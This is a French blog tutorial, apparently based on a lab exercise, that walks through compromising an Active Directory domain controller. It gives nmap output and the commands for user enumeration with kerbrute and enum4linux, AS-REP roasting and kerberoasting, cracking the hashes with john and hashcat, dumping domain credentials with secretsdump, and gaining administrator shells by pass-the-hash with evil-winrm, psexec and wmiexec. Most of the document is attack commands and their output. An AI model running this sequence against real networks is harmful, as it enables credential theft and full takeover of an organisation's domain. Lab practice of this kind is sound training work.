Exploration d’un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux

Il est possible de prendre possession d’un ActiveDiectory si nous réussissons à cracker le mot de passe de l’administrateur.

On commence par énumérer les services présents sur le AD


 

r0cker@kali:~$ sudo nmap -p- -A -nP 10.10.74.213
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-28 07:17 EDT
Nmap scan report for 10.10.74.213
Host is up (0.086s latency).
Not shown: 65509 closed ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-06-28 11:25:31Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: searchevolution.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: searchevolution.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: GM-AD
|   NetBIOS_Domain_Name: GM-AD
|   NetBIOS_Computer_Name: R0CKERACTIVEDI
|   DNS_Domain_Name: searchevolution.local
|   DNS_Computer_Name: r0ckerAD.searchevolution.local
|   Product_Version: 10.0.17763
|_  System_Time: 2021-06-28T11:26:43+00:00
| ssl-cert: Subject: commonName=r0ckerAD.searchevolution.local
| Not valid before: 2021-06-27T11:17:22
|_Not valid after:  2021-12-27T11:17:22
|_ssl-date: 2021-06-28T11:26:52+00:00; +1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=6/28%OT=53%CT=1%CU=30229%PV=Y%DS=2%DC=T%G=Y%TM=60D9B1F
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=
OS:U)OPS(O1=M505NW8NNS%O2=M505NW8NNS%O3=M505NW8%O4=M505NW8NNS%O5=M505NW8NNS
OS:%O6=M505NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%
OS:DF=Y%T=80%W=FFFF%O=M505NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S
OS:=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=
OS:Z)

Network Distance: 2 hops
Service Info: Host: R0CKERACTIVEDI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 1s, median: 0s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-06-28T11:26:47
|_  start_date: N/A

TRACEROUTE (using port 1720/tcp)
HOP RTT      ADDRESS
1   85.42 ms 10.9.0.1
2   85.51 ms 10.10.74.213

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 535.97 seconds

Nous pouvons à présent mettre le DNS_Domain_name du service 3389 dans notre fichier hosts, ce qui nous simplifiera la vie par la suite


echo "10.9.0.15 searchevolution.local" >> /etc/hosts

Nous pouvons par la suite poursuivre l’énumération avec l’outil enum4linux


enum4linux -a searchevolution.local

Si l’outil ne retrouve pas de noms d’usagers et/ou des mots de passe, nous pouvons continuer avec kerbrute. Il permet d’avoir des noms d’usager avec la force brute. Je vous recommande de télécharger un dictionnaire d’usagers avant de commencer.


 kerbrute userenum -d searchevolution.local --dc searchevolution.local userlist.txt -t 100
rpcclient -U "" searchevolution.local #deuxième méthode
ldapsearch -x -h searchevolution.local -b base namingcontext #troisième méthode
impacket-lookupsid searchevolution.local/guest@10.10.10.10

Nous pouvons maintenant obtenir les kerberos ticket avec l’outil GetNPUsers.py des Impacket et tenter de les décrypter. Ici svc-admin a été retrouvé avec l’outil kerbrute. Il est évident que c’est un compte privilégié.


python3 GetNPUsers.py searchevolution.local/svc-admin -no-pass

Nous obtenons un TGT du style $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:d384fde3298ef72af4c964868f9d6726$c6bd6f49d0b6510241140beb03a879838d5324b2840c7287e5e6cf1a8085b22bd22ff4263346d3f0da20f791f4d04257976105c906389c9646f23616914ee2e00b635c87cc3082cd32306e27928812fa903537139242c4965b9ddea249b47546c02683a89db77089404e648e6c110b6aa7d37810848daf24e3bf3559fe8436cbbacdd4882a070e98a74b7feca348e23b4303a06d5f3c139e86a5d3a46b65c83efe4f6e077d9045d1b52fa5825bc2402e2da8525d072055b58977fd598edb57b426af4b6cb99b75303ac9eb7dee7119470b29ca9e9f1b0a4810800b94f730f6ef2c06d82e9d616aa5f0088bc5b3f326f7ffff que nous écrivons dans un fichier “hash”.

Nous pouvons par la suite tenter de cracker ce fichier avec john .Pour votre information, avec hashchat le mode est “18200” Kerberos 5, etype 23, AS-REP.


john hash --wordlist=/usr/share/wordlists/rockyou.txt
code>

 Nous aurions aussi pu aussi cracker le mot de passe de svc-admin en mettant la sortie de kerbrute dans un fichier ntlm_hash.txt
<code>
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt

Nous aurions pu faire du kerberoasting si nous avions déjà un usager.

 python3 GetUserSPNs.py 'searchevolution.local/r0cker:mypassword' -outputfile hashes.kerberoast -dc-ip 10.10.253.123
hashcat.exe -m 13100 hashes.kerberoast rockyou.txt

Nous pouvons maintenant nous connecter avec smbclient pour avoir accèes à certains partages puisque nous avons le mot de passe.

Si nous réussissons à obtenir le mot de passe de l’utilisateur “backup” , nous pourrons avoir une copie des hashes des usagers et pratiquer une attaque du style pass the hash.


python3 secretsdump.py -just-dc backup@searchevolution.local  #il faut indiquer le mot de passe ici

Nous pouvons énumérer les shares que nous avons accès avec un usager
crackmapexec smb 10.10.111.177 -u r0cker -p "gfdjskgh" -M spider_plus #regarder le fichier dans le OUTPUT

Nous pouvons aussi utiliser l’outil evil-winrm pour faire une attaque du style pass the hash si nous avons obtenu le dump avec secretsdump.py (partie nthash du dump)


evil-winrm -i searchevolution.local -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

D’autres possibilités pour obtenir un shell adminstrateur

psexec.py r0cker:gfdjskgh@10.10.111.177 #alternative
impacket-wmiexec searchevolution.local/r0cker@10.10.111.77 #alternative

Leave a Reply